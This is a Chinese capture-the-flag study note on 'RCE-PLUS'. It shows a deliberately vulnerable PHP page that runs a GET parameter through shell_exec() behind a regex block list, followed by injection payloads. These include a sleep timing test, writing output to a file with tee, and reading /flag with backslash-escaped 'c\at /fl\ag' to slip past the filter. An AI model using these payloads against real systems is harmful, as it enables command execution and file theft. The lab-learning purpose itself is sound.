RCE-PLUS (学习记录)

源码

复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
    if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
        return($cmd);
    }
    else{
        die("i hate this");      
      }
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>

过滤了很多东西,但是空格什么的没过滤

发现是用shell_exec()无回显的命令执行,所以把文件写入txt看结果

判断指令
复制代码
?cmd=ls / | sleep 5
把回显输入文本文件

两种方法

复制代码
?cmd=ls / | tee 1.txt
?cmd=ls / > tee 1.txt

直接访问

绕过对cat和flag的过滤
复制代码
?cmd=c\at /fl\ag | tee 2.txt
?cmd=c\at /fl\ag > tee 2.txt

总结

无回显RCE

WAF绕过

相关推荐
阿巴~阿巴~9 小时前
深入解析UDP服务器核心开发机制
linux·服务器·网络协议·网络编程·udp服务器·recvfrom函数
Keely402859 小时前
Claude 配置使用墨刀MCP(modao-proto-mcp)
前端·aigc·claude
一心只读圣贤猪9 小时前
Canal ES Adapter pkVal 为 null 问题解决方案
java·后端
少卿9 小时前
从零构建 React Native 导航体系-React Navigation
前端·react native
Wect9 小时前
学习React-DnD:实现 TodoList 简单拖拽功能
前端·react.js
前端小书生9 小时前
Google Map、Solar Api
前端·react.js·google
大头an9 小时前
深入理解Spring核心原理:Bean作用域、生命周期与自动配置完全指南
java·后端
毕设十刻10 小时前
基于Vue的售票系统开发3g480(程序 + 源码 + 数据库 + 调试部署 + 开发环境配置),配套论文文档字数达万字以上,文末可获取,系统界面展示置于文末
前端·数据库·vue.js
wa的一声哭了10 小时前
Linux服务器配置ssh免密登陆多台服务器、服务器别名配置
linux·运维·服务器·网络·arm开发·python·ssh
行走的陀螺仪10 小时前
前端CI/CD 流程
前端·ci/cd·工程化·自动化构建